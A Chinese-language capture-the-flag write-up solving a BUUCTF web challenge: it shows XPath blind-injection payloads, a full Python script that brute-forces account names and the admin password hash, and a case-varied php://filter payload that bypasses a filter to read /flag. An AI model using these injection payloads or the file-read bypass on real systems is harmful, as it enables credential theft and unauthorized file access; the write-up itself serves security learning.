前言
突然想起来自己还没做过自己学校去年的比赛,去buuctf上找了去年比赛的几个web,开始做一做,学长们还是tql,出的题目让我学到了很多东西。
WP
需要login,比较麻烦的就是会老是告诉你超时,需要一直重复获得token。这个似乎是csrf-token。抓包看的话会发现是这个:
<username>1</username>
<password>1</password>
<token>a638f49e5fcd01e49c1039f0d585e32T</token>
这里就是我的问题了,一直在学什么命令执行,文件包含,SSTI,SQL注入啥的,对于xpath注入居然一点都不了解,只了解个XXE注入,看到这个的第一反应居然是XXE注入(被自己菜傻了)。
学习一波:
xpath注入详解
这个文章讲的确实很好,认真看完的话,就知道这题应该怎么做了。
如果是' or 1=1 or '
的话,会返回非法操作,如果是' or 1=2 or '
的话,就会提示错误,因此这是盲注了,写个脚本(感觉还没找到写xpath注入脚本的感觉,有空了再改改):
import requests
from time import *
url="http://c8f02832-3d95-433d-8d4d-55297b6cd02f.node3.buuoj.cn/"
headers={
"Content-Type": "application/xml",
"Cookie": "PHPSESSID=8fe5dba4c7ce591f7ef04907d3b2c97c",
}
def getToken():
tokenHeaders={
"Cookie": "PHPSESSID=8fe5dba4c7ce591f7ef04907d3b2c97c",
}
r=requests.get(url,headers=tokenHeaders)
location=r.text.find('id="token" value="')
return r.text[location+18:location+50]
def login(token,username,password):
data=f"<username>{username}</username><password>{password}</password><token>{token}</token>"
r=requests.post(url=url+"login.php",headers=headers,data=data)
return r.text
def getElementName():
for i in range(1,3):
name=""
for j in range(1,20):
flag=False
for k in "abcdefghijklmnopqrstuvwxyz0123456789":
username=f"' or substring(name(/root/accounts/*[position()={i}]),{j},1)='{k}' or '"
password="1"
token=getToken()
text=login(token,username,password)
if "非法操作!" in text:
flag=True
name+=k
print(name)
sleep(0.2)
if flag==False:
print("没找到k")
break
def getCount():
for i in range(1,20):
username=f"' or count(/root/accounts/*)={i} or '1'='1"
password="1"
token=getToken()
text=login(token,username,password)
sleep(0.1)
if "非法操作!" in text:
print(i)
exit()
def getElementValue():
name=""
for i in range(1,30):
flag=False
for j in "abcdefghijklmnopqrstuvwxyz0123456789":
#username=f"' or substring(/root/accounts/user[position()=2]/username[position()=1],{i},1)='{j}' or '1'='1"
username=f"' or substring(/root/accounts/user[position()=2]/password[position()=1],{i},1)='{j}' or '1'='1"
password="1"
token=getToken()
text=login(token,username,password)
if "非法操作!" in text:
flag=True
name+=j
print(name)
sleep(0.2)
if flag==False:
break
#getCount()
#getElementName()
getElementValue()
"""
root
accounts
user
adm1n
cf7414b5bdb2e65ee43083f4ddbc4d9f
"""
读出用户名是adm1n,密码是cf7414b5bdb2e65ee43083f4ddbc4d9f,解密后是gtfly123。
进入后可以看到这个:
Welcome!
ZmxhZyBpcyBpbiAvZmxhZwo=
base64解密,知道flag在/flag里。看一下url,发现是?file=welcome
。经过测试,这是个文件读取,而且好像过滤了一些东西,而且似乎对输出也进行了过滤。最后经过测试,发现大小写能绕过:
?file=Php://filter/convert.Base64-encode/resource=/flag
然后再base64解密即可得到flag。